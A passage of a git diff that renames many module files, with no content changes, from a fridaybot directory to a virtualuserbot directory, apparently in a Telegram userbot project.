from fridaybot/modules/dumpster.py rename to virtualuserbot/modules/dumpster.py diff --git a/fridaybot/modules/echo.py b/virtualuserbot/modules/echo.py similarity index 100% rename from fridaybot/modules/echo.py rename to virtualuserbot/modules/echo.py diff --git a/fridaybot/modules/ekart.py b/virtualuserbot/modules/ekart.py similarity index 100% rename from fridaybot/modules/ekart.py rename to virtualuserbot/modules/ekart.py diff --git a/fridaybot/modules/emojify.py b/virtualuserbot/modules/emojify.py similarity index 100% rename from fridaybot/modules/emojify.py rename to virtualuserbot/modules/emojify.py diff --git a/fridaybot/modules/emojis.py b/virtualuserbot/modules/emojis.py similarity index 100% rename from fridaybot/modules/emojis.py rename to virtualuserbot/modules/emojis.py diff --git a/fridaybot/modules/ensongs.py b/virtualuserbot/modules/ensongs.py similarity index 100% rename from fridaybot/modules/ensongs.py rename to virtualuserbot/modules/ensongs.py diff --git a/fridaybot/modules/eval.py b/virtualuserbot/modules/eval.py similarity index 100% rename from fridaybot/modules/eval.py rename to virtualuserbot/modules/eval.py diff --git a/fridaybot/modules/exclusive.py b/virtualuserbot/modules/exclusive.py similarity index 100% rename from fridaybot/modules/exclusive.py rename to virtualuserbot/modules/exclusive.py diff --git a/fridaybot/modules/exec.py b/virtualuserbot/modules/exec.py similarity index 100% rename from fridaybot/modules/exec.py rename to virtualuserbot/modules/exec.py diff --git a/fridaybot/modules/execmod.py b/virtualuserbot/modules/execmod.py similarity index 100% rename from fridaybot/modules/execmod.py rename to virtualuserbot/modules/execmod.py diff --git a/fridaybot/modules/extra.py b/virtualuserbot/modules/extra.py similarity index 100% rename from fridaybot/modules/extra.py rename to virtualuserbot/modules/extra.py diff --git a/fridaybot/modules/extra1.py b/virtualuserbot/modules/extra1.py similarity index 100% rename from fridaybot/modules/extra1.py rename to virtualuserbot/modules/extra1.py diff --git a/fridaybot/modules/extranotes.py b/virtualuserbot/modules/extranotes.py similarity index 100% rename from fridaybot/modules/extranotes.py rename to virtualuserbot/modules/extranotes.py diff --git a/fridaybot/modules/eye.py b/virtualuserbot/modules/eye.py similarity index 100% rename from fridaybot/modules/eye.py rename to virtualuserbot/modules/eye.py diff --git a/fridaybot/modules/fakegen.py b/virtualuserbot/modules/fakegen.py similarity index 100% rename from fridaybot/modules/fakegen.py rename to virtualuserbot/modules/fakegen.py diff --git a/fridaybot/modules/fakeimagegen.py b/virtualuserbot/modules/fakeimagegen.py similarity index 100% rename from fridaybot/modules/fakeimagegen.py rename to virtualuserbot/modules/fakeimagegen.py diff --git a/fridaybot/modules/fconvert.py b/virtualuserbot/modules/fconvert.py similarity index 100% rename from fridaybot/modules/fconvert.py rename to virtualuserbot/modules/fconvert.py diff --git a/fridaybot/modules/fed_ban.py b/virtualuserbot/modules/fed_ban.py similarity index 100% rename from fridaybot/modules/fed_ban.py rename to virtualuserbot/modules/fed_ban.py diff --git a/fridaybot/modules/ff_mpeg.py b/virtualuserbot/modules/ff_mpeg.py similarity index 100% rename from fridaybot/modules/ff_mpeg.py rename to virtualuserbot/modules/ff_mpeg.py diff --git a/fridaybot/modules/figlet.py b/virtualuserbot/modules/figlet.py similarity index 100% rename from fridaybot/modules/figlet.py rename to virtualuserbot/modules/figlet.py diff --git a/fridaybot/modules/fileext.py b/virtualuserbot/modules/fileext.py similarity index 100% rename from fridaybot/modules/fileext.py rename to virtualuserbot/modules/fileext.py diff --git a/fridaybot/modules/filemanager.py b/virtualuserbot/modules/filemanager.py similarity index 100% rename from fridaybot/modules/filemanager.py rename to virtualuserbot/modules/filemanager.py diff --git a/fridaybot/modules/filters.py b/virtualuserbot/modules/filters.py similarity index 100% rename from fridaybot/modules/filters.py rename to virtualuserbot/modules/filters.py diff --git a/fridaybot/modules/fine.txt b/virtualuserbot/modules/fine.txt similarity index 100% rename from fridaybot/modules/fine.txt rename to virtualuserbot/modules/fine.txt diff --git a/fridaybot/modules/fleaveme.py b/virtualuserbot/modules/fleaveme.py similarity index 100% rename from fridaybot/modules/fleaveme.py rename to virtualuserbot/modules/fleaveme.py diff --git a/fridaybot/modules/font3.py b/virtualuserbot/modules/font3.py similarity index 100% rename from fridaybot/modules/font3.py rename to virtualuserbot/modules/font3.py diff --git a/fridaybot/modules/fonts.py b/virtualuserbot/modules/fonts.py similarity index 100% rename from fridaybot/modules/fonts.py rename to virtualuserbot/modules/fonts.py diff --git a/fridaybot/modules/fonts2.py b/virtualuserbot/modules/fonts2.py similarity index 100% rename from fridaybot/modules/fonts2.py rename to virtualuserbot/modules/fonts2.py diff --git a/fridaybot/modules/football.py b/virtualuserbot/modules/football.py similarity index 100% rename from fridaybot/modules/football.py rename to virtualuserbot/modules/football.py diff --git a/fridaybot/modules/fpost.py b/virtualuserbot/modules/fpost.py similarity index 100% rename from fridaybot/modules/fpost.py rename to virtualuserbot/modules/fpost.py diff --git a/fridaybot/modules/fridaybot.py b/virtualuserbot/modules/fridaybot.py similarity index 100% rename from fridaybot/modules/fridaybot.py rename to virtualuserbot/modules/fridaybot.py diff --git a/fridaybot/modules/ftext.py b/virtualuserbot/modules/ftext.py similarity index 100% rename from fridaybot/modules/ftext.py rename to virtualuserbot/modules/ftext.py diff --git a/fridaybot/modules/fuck11.py b/virtualuserbot/modules/fuck11.py similarity index 100% rename from fridaybot/modules/fuck11.py rename to virtualuserbot/modules/fuck11.py diff --git a/fridaybot/modules/fun.py b/virtualuserbot/modules/fun.py similarity index 100% rename from fridaybot/modules/fun.py rename to virtualuserbot/modules/fun.py diff --git a/fridaybot/modules/funarts.py b/virtualuserbot/modules/funarts.py similarity index 100% rename from fridaybot/modules/funarts.py rename to virtualuserbot/modules/funarts.py diff --git a/fridaybot/modules/funnyfonts.py b/virtualuserbot/modules/funnyfonts.py similarity index 100% rename from fridaybot/modules/funnyfonts.py rename to virtualuserbot/modules/funnyfonts.py diff --git a/fridaybot/modules/funtxt2.py b/virtualuserbot/modules/funtxt2.py similarity index 100% rename from fridaybot/modules/funtxt2.py rename to virtualuserbot/modules/funtxt2.py diff --git a/fridaybot/modules/fwd.py b/virtualuserbot/modules/fwd.py similarity index 100% rename from fridaybot/modules/fwd.py rename to virtualuserbot/modules/fwd.py diff --git a/fridaybot/modules/gamersdp.py b/virtualuserbot/modules/gamersdp.py similarity index 100% rename from fridaybot/modules/gamersdp.py rename to virtualuserbot/modules/gamersdp.py diff --git a/fridaybot/modules/games.py b/virtualuserbot/modules/games.py similarity index 100% rename from fridaybot/modules/games.py rename to virtualuserbot/modules/games.py diff --git a/fridaybot/modules/gangasta.py b/virtualuserbot/modules/gangasta.py similarity index 100% rename from fridaybot/modules/gangasta.py rename to virtualuserbot/modules/gangasta.py diff --git a/fridaybot/modules/gdbye.py b/virtualuserbot/modules/gdbye.py similarity index 100% rename from fridaybot/modules/gdbye.py rename to virtualuserbot/modules/gdbye.py diff --git a/fridaybot/modules/gdrive_download.py b/virtualuserbot/modules/gdrive_download.py similarity index 100% rename from fridaybot/modules/gdrive_download.py rename to virtualuserbot/modules/gdrive_download.py diff --git a/fridaybot/modules/get_admin.py b/virtualuserbot/modules/get_admin.py similarity index 100% rename from fridaybot/modules/get_admin.py rename to virtualuserbot/modules/get_admin.py diff --git a/fridaybot/modules/get_bot.py b/virtualuserbot/modules/get_bot.py similarity index 100% rename from fridaybot/modules/get_bot.py rename to virtualuserbot/modules/get_bot.py diff --git a/fridaybot/modules/get_id.py b/virtualuserbot/modules/get_id.py similarity index 100% rename from fridaybot/modules/get_id.py rename to virtualuserbot/modules/get_id.py diff --git a/fridaybot/modules/gettime.py b/virtualuserbot/modules/gettime.py similarity index 100% rename from fridaybot/modules/gettime.py rename to virtualuserbot/modules/gettime.py diff --git a/fridaybot/modules/git.py b/virtualuserbot/modules/git.py similarity index 100% rename from fridaybot/modules/git.py rename to virtualuserbot/modules/git.py diff --git a/fridaybot/modules/gitcommit.py b/virtualuserbot/modules/gitcommit.py similarity index 100% rename from fridaybot/modules/gitcommit.py rename to virtualuserbot/modules/gitcommit.py diff --git a/fridaybot/modules/github.py b/virtualuserbot/modules/github.py similarity index 100% rename from fridaybot/modules/github.py rename to virtualuserbot/modules/github.py diff --git a/fridaybot/modules/gizoogle.py b/virtualuserbot/modules/gizoogle.py similarity index 100% rename from fridaybot/modules/gizoogle.py rename to virtualuserbot/modules/gizoogle.py diff --git a/fridaybot/modules/glitch.py b/virtualuserbot/modules/glitch.py similarity index 100% rename from fridaybot/modules/glitch.py rename to virtualuserbot/modules/glitch.py diff --git a/fridaybot/modules/google.py b/virtualuserbot/modules/google.py similarity index 100% rename from fridaybot/modules/google.py rename to virtualuserbot/modules/google.py diff --git a/fridaybot/modules/got_memes.py b/virtualuserbot/modules/got_memes.py similarity index 100% rename from fridaybot/modules/got_memes.py rename to virtualuserbot/modules/got_memes.py diff --git a/fridaybot/modules/got_thoughts.py b/virtualuserbot/modules/got_thoughts.py similarity index 100% rename from fridaybot/modules/got_thoughts.py rename to virtualuserbot/modules/got_thoughts.py diff --git a/fridaybot/modules/gprod.py b/virtualuserbot/modules/gprod.py similarity index 100% rename from fridaybot/modules/gprod.py rename to virtualuserbot/modules/gprod.py diff --git a/fridaybot/modules/gps2.py b/virtualuserbot/modules/gps2.py similarity index 100% rename from fridaybot/modules/gps2.py rename to virtualuserbot/modules/gps2.py diff --git a/fridaybot/modules/greetings.py b/virtualuserbot/modules/greetings.py similarity index 100% rename from fridaybot/modules/greetings.py rename to virtualuserbot/modules/greetings.py diff --git a/fridaybot/modules/gtools.py b/virtualuserbot/modules/gtools.py similarity index 100% rename from fridaybot/modules/gtools.py rename to virtualuserbot/modules/gtools.py diff --git a/fridaybot/modules/hack.py b/virtualuserbot/modules/hack.py similarity index 100% rename from fridaybot/modules/hack.py rename to virtualuserbot/modules/hack.py diff --git a/fridaybot/modules/hash.py b/virtualuserbot/modules/hash.py similarity index 100% rename from fridaybot/modules/hash.py rename to virtualuserbot/modules/hash.py diff --git a/fridaybot/modules/hbd.py b/virtualuserbot/modules/hbd.py similarity index 100% rename from fridaybot/modules/hbd.py rename to virtualuserbot/modules/hbd.py diff --git a/fridaybot/modules/heroku.py b/virtualuserbot/modules/heroku.py similarity index 100% rename from fridaybot/modules/heroku.py rename to virtualuserbot/modules/heroku.py diff --git a/fridaybot/modules/heroku_help.py b/virtualuserbot/modules/heroku_help.py similarity index 100% rename from fridaybot/modules/heroku_help.py rename to virtualuserbot/modules/heroku_help.py diff --git a/fridaybot/modules/hotstar.py b/virtualuserbot/modules/hotstar.py similarity index 100% rename from fridaybot/modules/hotstar.py rename to virtualuserbot/modules/hotstar.py diff --git a/fridaybot/modules/howtogoogle.py b/virtualuserbot/modules/howtogoogle.py similarity index 100% rename from fridaybot/modules/howtogoogle.py rename to virtualuserbot/modules/howtogoogle.py diff --git a/fridaybot/modules/hyperlink.py b/virtualuserbot/modules/hyperlink.py similarity index 100% rename from fridaybot/modules/hyperlink.py rename to virtualuserbot/modules/hyperlink.py diff --git a/fridaybot/modules/iffuci.py b/virtualuserbot/modules/iffuci.py similarity index 100% rename from fridaybot/modules/iffuci.py rename to virtualuserbot/modules/iffuci.py diff --git a/fridaybot/modules/ifsc.py b/virtualuserbot/modules/ifsc.py similarity index 100% rename from fridaybot/modules/ifsc.py rename to virtualuserbot/modules/ifsc.py diff --git a/fridaybot/modules/imageenc.py b/virtualuserbot/modules/imageenc.py similarity index 100% rename from fridaybot/modules/imageenc.py rename to virtualuserbot/modules/imageenc.py diff --git a/fridaybot/modules/imagefun.py b/virtualuserbot/modules/imagefun.py similarity index 100% rename from fridaybot/modules/imagefun.py rename to virtualuserbot/modules/imagefun.py diff --git a/fridaybot/modules/imagefun2.py b/virtualuserbot/modules/imagefun2.py similarity index 100% rename from fridaybot/modules/imagefun2.py rename to virtualuserbot/modules/imagefun2.py diff --git a/fridaybot/modules/imagefun3.py b/virtualuserbot/modules/imagefun3.py similarity index 100% rename from fridaybot/modules/imagefun3.py rename to virtualuserbot/modules/imagefun3.py diff --git a/fridaybot/modules/imagefun4.py b/virtualuserbot/modules/imagefun4.py similarity index 100% rename from fridaybot/modules/imagefun4.py rename to virtualuserbot/modules/imagefun4.py diff --git a/fridaybot/modules/imagetools.py b/virtualuserbot/modules/imagetools.py similarity index 100% rename from fridaybot/modules/imagetools.py rename to virtualuserbot/modules/imagetools.py diff --git a/fridaybot/modules/imdb.py b/virtualuserbot/modules/imdb.py similarity index 100% rename from fridaybot/modules/imdb.py rename to virtualuserbot/modules/imdb.py diff --git a/fridaybot/modules/img.py b/virtualuserbot/modules/img.py similarity index 100% rename from fridaybot/modules/img.py rename to virtualuserbot/modules/img.py diff --git a/fridaybot/modules/imposter.py b/virtualuserbot/modules/imposter.py similarity index 100% rename from fridaybot/modules/imposter.py rename to virtualuserbot/modules/imposter.py diff --git a/fridaybot/modules/information.py b/virtualuserbot/modules/information.py similarity index 100% rename from fridaybot/modules/information.py rename to virtualuserbot/modules/information.py diff --git a/fridaybot/modules/inline_fun.py b/virtualuserbot/modules/inline_fun.py similarity index 100% rename from fridaybot/modules/inline_fun.py rename to virtualuserbot/modules/inline_fun.py diff --git a/fridaybot/modules/install.py b/virtualuserbot/modules/install.py similarity index 100% rename from fridaybot/modules/install.py rename to virtualuserbot/modules/install.py diff --git a/fridaybot/modules/instant_install_ext_module.py b/virtualuserbot/modules/instant_install_ext_module.py similarity index 100% rename from fridaybot/modules/instant_install_ext_module.py rename to virtualuserbot/modules/instant_install_ext_module.py diff --git a/fridaybot/modules/iplookup.py b/virtualuserbot/modules/iplookup.py similarity index 100% rename from fridaybot/modules/iplookup.py rename to virtualuserbot/modules/iplookup.py diff --git a/fridaybot/modules/jainder.py b/virtualuserbot/modules/jainder.py similarity index 100% rename from fridaybot/modules/jainder.py rename to virtualuserbot/modules/jainder.py diff --git a/fridaybot/modules/jio.py b/virtualuserbot/modules/jio.py similarity index 100% rename from fridaybot/modules/jio.py rename to virtualuserbot/modules/jio.py diff --git a/fridaybot/modules/json.py b/virtualuserbot/modules/json.py similarity index 100% rename from fridaybot/modules/json.py rename to virtualuserbot/modules/json.py diff --git a/fridaybot/modules/kill.py b/virtualuserbot/modules/kill.py similarity index 100% rename from fridaybot/modules/kill.py rename to virtualuserbot/modules/kill.py diff --git a/fridaybot/modules/kk.py b/virtualuserbot/modules/kk.py similarity index 100% rename from fridaybot/modules/kk.py rename to virtualuserbot/modules/kk.py diff --git a/fridaybot/modules/labstack.py b/virtualuserbot/modules/labstack.py similarity index 100% rename from fridaybot/modules/labstack.py rename to virtualuserbot/modules/labstack.py diff --git a/fridaybot/modules/language.py b/virtualuserbot/modules/language.py similarity index 100% rename from fridaybot/modules/language.py rename to virtualuserbot/modules/language.py diff --git a/fridaybot/modules/lastfm.py b/virtualuserbot/modules/lastfm.py similarity index 100% rename from fridaybot/modules/lastfm.py rename to virtualuserbot/modules/lastfm.py diff --git a/fridaybot/modules/lastupdate.py b/virtualuserbot/modules/lastupdate.py similarity index 100% rename from fridaybot/modules/lastupdate.py rename to virtualuserbot/modules/lastupdate.py diff --git a/fridaybot/modules/letmeabuse.py b/virtualuserbot/modules/letmeabuse.py similarity index 100% rename from fridaybot/modules/letmeabuse.py rename to virtualuserbot/modules/letmeabuse.py diff --git a/fridaybot/modules/list.py b/virtualuserbot/modules/list.py similarity index 100% rename from fridaybot/modules/list.py rename to virtualuserbot/modules/list.py diff --git a/fridaybot/modules/listmyusernames.py b/virtualuserbot/modules/listmyusernames.py similarity index 100% rename from fridaybot/modules/listmyusernames.py rename to virtualuserbot/modules/listmyusernames.py diff --git a/fridaybot/modules/load_unload.py b/virtualuserbot/modules/load_unload.py similarity index 100% rename from fridaybot/modules/load_unload.py rename to virtualuserbot/modules/load_unload.py diff --git a/fridaybot/modules/locks.py b/virtualuserbot/modules/locks.py similarity index 100% rename from fridaybot/modules/locks.py rename to virtualuserbot/modules/locks.py diff --git a/fridaybot/modules/log_pms.py b/virtualuserbot/modules/log_pms.py similarity index 100% rename from fridaybot/modules/log_pms.py rename to virtualuserbot/modules/log_pms.py diff --git a/fridaybot/modules/logic.py b/virtualuserbot/modules/logic.py similarity index 100% rename from fridaybot/modules/logic.py rename to virtualuserbot/modules/logic.py diff --git a/fridaybot/modules/lol.py b/virtualuserbot/modules/lol.py similarity index 100% rename from fridaybot/modules/lol.py rename to virtualuserbot/modules/lol.py diff --git a/fridaybot/modules/lovestory.py b/virtualuserbot/modules/lovestory.py similarity index 100% rename from fridaybot/modules/lovestory.py rename to virtualuserbot/modules/lovestory.py diff --git a/fridaybot/modules/lucky.py b/virtualuserbot/modules/lucky.py similarity index 100% rename from fridaybot/modules/lucky.py rename to virtualuserbot/modules/lucky.py diff --git a/fridaybot/modules/lydiaai2.py b/virtualuserbot/modules/lydiaai2.py similarity index 100% rename from fridaybot/modules/lydiaai2.py rename to virtualuserbot/modules/lydiaai2.py diff --git a/fridaybot/modules/lyric.py b/virtualuserbot/modules/lyric.py similarity index 100% rename from fridaybot/modules/lyric.py rename to virtualuserbot/modules/lyric.py diff --git a/fridaybot/modules/markdown.py b/virtualuserbot/modules/markdown.py similarity index 100% rename from fridaybot/modules/markdown.py rename to virtualuserbot/modules/markdown.py diff --git a/fridaybot/modules/mashup.py b/virtualuserbot/modules/mashup.py similarity index 100% rename from fridaybot/modules/mashup.py rename to virtualuserbot/modules/mashup.py diff --git a/fridaybot/modules/mask.py b/virtualuserbot/modules/mask.py similarity index 100% rename from fridaybot/modules/mask.py rename to virtualuserbot/modules/mask.py diff --git a/fridaybot/modules/meaning.py b/virtualuserbot/modules/meaning.py similarity index 100% rename from fridaybot/modules/meaning.py rename to virtualuserbot/modules/meaning.py diff --git a/fridaybot/modules/mediadata.py b/virtualuserbot/modules/mediadata.py similarity index 100% rename from fridaybot/modules/mediadata.py rename to virtualuserbot/modules/mediadata.py diff --git a/fridaybot/modules/memes.py b/virtualuserbot/modules/memes.py similarity index 100% rename from fridaybot/modules/memes.py rename to virtualuserbot/modules/memes.py diff --git a/fridaybot/modules/memevoice.py b/virtualuserbot/modules/memevoice.py similarity index 100% rename from fridaybot/modules/memevoice.py rename to virtualuserbot/modules/memevoice.py diff --git a/fridaybot/modules/memify.py b/virtualuserbot/modules/memify.py similarity index 100% rename from fridaybot/modules/memify.py rename to virtualuserbot/modules/memify.py diff --git a/fridaybot/modules/mention b/virtualuserbot/modules/mention similarity index 100% rename from fridaybot/modules/mention rename to virtualuserbot/modules/mention diff --git a/fridaybot/modules/mention.py b/virtualuserbot/modules/mention.py similarity index 100% rename from fridaybot/modules/mention.py rename to virtualuserbot/modules/mention.py diff --git a/fridaybot/modules/mf.py b/virtualuserbot/modules/mf.py similarity index 100% rename from fridaybot/modules/mf.py rename to virtualuserbot/modules/mf.py diff --git a/fridaybot/modules/mirrorace.py b/virtualuserbot/modules/mirrorace.py similarity index 100% rename from fridaybot/modules/mirrorace.py rename to virtualuserbot/modules/mirrorace.py diff --git a/fridaybot/modules/misc.py b/virtualuserbot/modules/misc.py similarity index 100% rename from fridaybot/modules/misc.py rename to virtualuserbot/modules/misc.py diff --git a/fridaybot/modules/mmf.py b/virtualuserbot/modules/mmf.py similarity index 100% rename from fridaybot/modules/mmf.py rename to virtualuserbot/modules/mmf.py diff --git a/fridaybot/modules/moon.py b/virtualuserbot/modules/moon.py similarity index 100% rename from fridaybot/modules/moon.py rename to virtualuserbot/modules/moon.py diff --git a/fridaybot/modules/movie_recomendation.py b/virtualuserbot/modules/movie_recomendation.py similarity index 100% rename from fridaybot/modules/movie_recomendation.py rename to virtualuserbot/modules/movie_recomendation.py diff --git a/fridaybot/modules/mp3converter.py b/virtualuserbot/modules/mp3converter.py similarity index 100% rename from fridaybot/modules/mp3converter.py rename to virtualuserbot/modules/mp3converter.py diff --git a/fridaybot/modules/mspam.py b/virtualuserbot/modules/mspam.py similarity index 100% rename from fridaybot/modules/mspam.py rename to virtualuserbot/modules/mspam.py diff --git a/fridaybot/modules/mtn.py b/virtualuserbot/modules/mtn.py similarity index 100% rename from fridaybot/modules/mtn.py rename to virtualuserbot/modules/mtn.py diff --git a/fridaybot/modules/musicdl.py b/virtualuserbot/modules/musicdl.py similarity index 100% rename from fridaybot/modules/musicdl.py rename to virtualuserbot/modules/musicdl.py diff --git a/fridaybot/modules/mute.py b/virtualuserbot/modules/mute.py similarity index 100% rename from fridaybot/modules/mute.py rename to virtualuserbot/modules/mute.py diff --git a/fridaybot/modules/muth.py b/virtualuserbot/modules/muth.py similarity index 100% rename from fridaybot/modules/muth.py rename to virtualuserbot/modules/muth.py diff --git a/fridaybot/modules/nakal.py b/virtualuserbot/modules/nakal.py similarity index 100% rename from fridaybot/modules/nakal.py rename to virtualuserbot/modules/nakal.py diff --git a/fridaybot/modules/nekobot.py b/virtualuserbot/modules/nekobot.py similarity index 100% rename from fridaybot/modules/nekobot.py rename to virtualuserbot/modules/nekobot.py diff --git a/fridaybot/modules/news.py b/virtualuserbot/modules/news.py similarity index 100% rename from fridaybot/modules/news.py rename to virtualuserbot/modules/news.py diff --git a/fridaybot/modules/ninja.py b/virtualuserbot/modules/ninja.py similarity index 100% rename from fridaybot/modules/ninja.py rename to virtualuserbot/modules/ninja.py diff --git a/fridaybot/modules/no_spam_plus_devs.py b/virtualuserbot/modules/no_spam_plus_devs.py similarity index 100% rename from fridaybot/modules/no_spam_plus_devs.py rename to virtualuserbot/modules/no_spam_plus_devs.py diff --git a/fridaybot/modules/np.py b/virtualuserbot/modules/np.py similarity index 100% rename from fridaybot/modules/np.py rename to virtualuserbot/modules/np.py diff --git a/fridaybot/modules/nsfw.py b/virtualuserbot/modules/nsfw.py similarity index 100% rename from fridaybot/modules/nsfw.py rename to virtualuserbot/modules/nsfw.py diff --git a/fridaybot/modules/nsfwdetect.py b/virtualuserbot/modules/nsfwdetect.py similarity index 100% rename from fridaybot/modules/nsfwdetect.py rename to virtualuserbot/modules/nsfwdetect.py diff --git a/fridaybot/modules/ocr.py b/virtualuserbot/modules/ocr.py similarity index 100% rename from fridaybot/modules/ocr.py rename to virtualuserbot/modules/ocr.py diff --git a/fridaybot/modules/ok.py b/virtualuserbot/modules/ok.py similarity index 100% rename from fridaybot/modules/ok.py rename to virtualuserbot/modules/ok.py diff --git a/fridaybot/modules/oldgdrive.py b/virtualuserbot/modules/oldgdrive.py similarity index 100% rename from fridaybot/modules/oldgdrive.py rename to virtualuserbot/modules/oldgdrive.py diff --git a/fridaybot/modules/os.py b/virtualuserbot/modules/os.py similarity index 100% rename from fridaybot/modules/os.py rename to virtualuserbot/modules/os.py diff --git a/fridaybot/modules/owm.py b/virtualuserbot/modules/owm.py similarity index 100% rename from fridaybot/modules/owm.py rename to virtualuserbot/modules/owm.py diff --git a/fridaybot/modules/padmin.py b/virtualuserbot/modules/padmin.py similarity index 100% rename from fridaybot/modules/padmin.py rename to virtualuserbot/modules/padmin.py diff --git a/fridaybot/modules/password_manager.py b/virtualuserbot/modules/password_manager.py similarity index 100% rename from fridaybot/modules/password_manager.py rename to virtualuserbot/modules/password_manager.py diff --git a/fridaybot/modules/password_tools.py b/virtualuserbot/modules/password_tools.py similarity index 100% rename from fridaybot/modules/password_tools.py rename to virtualuserbot/modules/password_tools.py diff --git a/fridaybot/modules/paste.py b/virtualuserbot/modules/paste.py similarity index 100% rename from fridaybot/modules/paste.py rename to virtualuserbot/modules/paste.py diff --git a/fridaybot/modules/pdf2docx.py b/virtualuserbot/modules/pdf2docx.py similarity index 100% rename from fridaybot/modules/pdf2docx.py rename to virtualuserbot/modules/pdf2docx.py diff --git a/fridaybot/modules/phonecontrol.py b/virtualuserbot/modules/phonecontrol.py similarity index 100% rename from fridaybot/modules/phonecontrol.py rename to virtualuserbot/modules/phonecontrol.py diff --git a/fridaybot/modules/phub.py b/virtualuserbot/modules/phub.py similarity index 100% rename from fridaybot/modules/phub.py rename to virtualuserbot/modules/phub.py diff --git a/fridaybot/modules/pin_message.py b/virtualuserbot/modules/pin_message.py similarity index 100% rename from fridaybot/modules/pin_message.py rename to virtualuserbot/modules/pin_message.py diff --git a/fridaybot/modules/ping.py b/virtualuserbot/modules/ping.py similarity index 100% rename from fridaybot/modules/ping.py rename to virtualuserbot/modules/ping.py diff --git a/fridaybot/modules/plane.py b/virtualuserbot/modules/plane.py similarity index 100% rename from fridaybot/modules/plane.py rename to virtualuserbot/modules/plane.py diff --git a/fridaybot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py similarity index 100% rename from fridaybot/modules/pmpermit.py rename to virtualuserbot/modules/pmpermit.py diff --git a/fridaybot/modules/pokedex.py b/virtualuserbot/modules/pokedex.py similarity index 100% rename from fridaybot/modules/pokedex.py rename to virtualuserbot/modules/pokedex.py diff --git a/fridaybot/modules/police.py b/virtualuserbot/modules/police.py similarity index 100% rename from fridaybot/modules/police.py rename to virtualuserbot/modules/police.py diff --git a/fridaybot/modules/polls.py b/virtualuserbot/modules/polls.py similarity index 100% rename from fridaybot/modules/polls.py rename to virtualuserbot/modules/polls.py diff --git a/fridaybot/modules/porn.py b/virtualuserbot/modules/porn.py similarity index 100% rename from fridaybot/modules/porn.py rename to virtualuserbot/modules/porn.py diff --git a/fridaybot/modules/poto.py b/virtualuserbot/modules/poto.py similarity index 100% rename from fridaybot/modules/poto.py rename to virtualuserbot/modules/poto.py diff --git a/fridaybot/modules/power_tools.py b/virtualuserbot/modules/power_tools.py similarity index 100% rename from fridaybot/modules/power_tools.py rename to virtualuserbot/modules/power_tools.py diff --git a/fridaybot/modules/prankpromote.py b/virtualuserbot/modules/prankpromote.py similarity index 100% rename from fridaybot/modules/prankpromote.py rename to virtualuserbot/modules/prankpromote.py diff --git a/fridaybot/modules/privatewelcome.py b/virtualuserbot/modules/privatewelcome.py similarity index 100% rename from fridaybot/modules/privatewelcome.py rename to virtualuserbot/modules/privatewelcome.py diff --git a/fridaybot/modules/pro_nub.py b/virtualuserbot/modules/pro_nub.py similarity index 100% rename from fridaybot/modules/pro_nub.py rename to virtualuserbot/modules/pro_nub.py diff --git a/fridaybot/modules/profile.py b/virtualuserbot/modules/profile.py similarity index 100% rename from fridaybot/modules/profile.py rename to virtualuserbot/modules/profile.py diff --git a/fridaybot/modules/programmer_jokes.py b/virtualuserbot/modules/programmer_jokes.py similarity index 100% rename from fridaybot/modules/programmer_jokes.py rename to virtualuserbot/modules/programmer_jokes.py diff --git a/fridaybot/modules/proxyscrape.py b/virtualuserbot/modules/proxyscrape.py similarity index 100% rename from fridaybot/modules/proxyscrape.py rename to virtualuserbot/modules/proxyscrape.py diff --git a/fridaybot/modules/purge.py b/virtualuserbot/modules/purge.py similarity index 100% rename from fridaybot/modules/purge.py rename to virtualuserbot/modules/purge.py diff --git a/fridaybot/modules/pyocr.py b/virtualuserbot/modules/pyocr.py similarity index 100% rename from fridaybot/modules/pyocr.py rename to virtualuserbot/modules/pyocr.py diff --git a/fridaybot/modules/qr_code.py b/virtualuserbot/modules/qr_code.py similarity index 100% rename from fridaybot/modules/qr_code.py rename to virtualuserbot/modules/qr_code.py diff --git a/fridaybot/modules/quickheal.py b/virtualuserbot/modules/quickheal.py similarity index 100% rename from fridaybot/modules/quickheal.py rename to virtualuserbot/modules/quickheal.py diff --git a/fridaybot/modules/quote.py b/virtualuserbot/modules/quote.py similarity index 100% rename from fridaybot/modules/quote.py rename to virtualuserbot/modules/quote.py diff --git a/fridaybot/modules/quotes.py b/virtualuserbot/modules/quotes.py similarity index 100% rename from fridaybot/modules/quotes.py rename to virtualuserbot/modules/quotes.py diff --git a/fridaybot/modules/quotly.py b/virtualuserbot/modules/quotly.py similarity index 100% rename from fridaybot/modules/quotly.py rename to virtualuserbot/modules/quotly.py diff --git a/fridaybot/modules/rain.py b/virtualuserbot/modules/rain.py similarity index 100% rename from fridaybot/modules/rain.py rename to virtualuserbot/modules/rain.py diff --git a/fridaybot/modules/rapidleech.py b/virtualuserbot/modules/rapidleech.py similarity index 100% rename from fridaybot/modules/rapidleech.py rename to virtualuserbot/modules/rapidleech.py diff --git a/fridaybot/modules/react.py b/virtualuserbot/modules/react.py similarity index 100% rename from fridaybot/modules/react.py rename to virtualuserbot/modules/react.py diff --git a/fridaybot/modules/reminder.py b/virtualuserbot/modules/reminder.py similarity index 100% rename from fridaybot/modules/reminder.py rename to virtualuserbot/modules/reminder.py diff --git a/fridaybot/modules/remove.bg.py b/virtualuserbot/modules/remove.bg.py similarity index 100% rename from fridaybot/modules/remove.bg.py rename to virtualuserbot/modules/remove.bg.py diff --git a/fridaybot/modules/rename.py b/virtualuserbot/modules/rename.py similarity index 100% rename from fridaybot/modules/rename.py rename to virtualuserbot/modules/rename.py diff --git a/fridaybot/modules/repeat.py b/virtualuserbot/modules/repeat.py similarity index 100% rename from fridaybot/modules/repeat.py rename to virtualuserbot/modules/repeat.py diff --git a/fridaybot/modules/reveal.py b/virtualuserbot/modules/reveal.py similarity index 100% rename from fridaybot/modules/reveal.py rename to virtualuserbot/modules/reveal.py diff --git a/fridaybot/modules/reverse.py b/virtualuserbot/modules/reverse.py similarity index 100% rename from fridaybot/modules/reverse.py rename to virtualuserbot/modules/reverse.py diff --git a/fridaybot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py similarity index 100% rename from fridaybot/modules/reverseimg.py rename to virtualuserbot/modules/reverseimg.py diff --git a/fridaybot/modules/sangmata.py b/virtualuserbot/modules/sangmata.py similarity index 100% rename from fridaybot/modules/sangmata.py rename to virtualuserbot/modules/sangmata.py diff --git a/fridaybot/modules/sca.py b/virtualuserbot/modules/sca.py similarity index 100% rename from fridaybot/modules/sca.py rename to virtualuserbot/modules/sca.py diff --git a/fridaybot/modules/schd.py b/virtualuserbot/modules/schd.py similarity index 100% rename from fridaybot/modules/schd.py rename to virtualuserbot/modules/schd.py diff 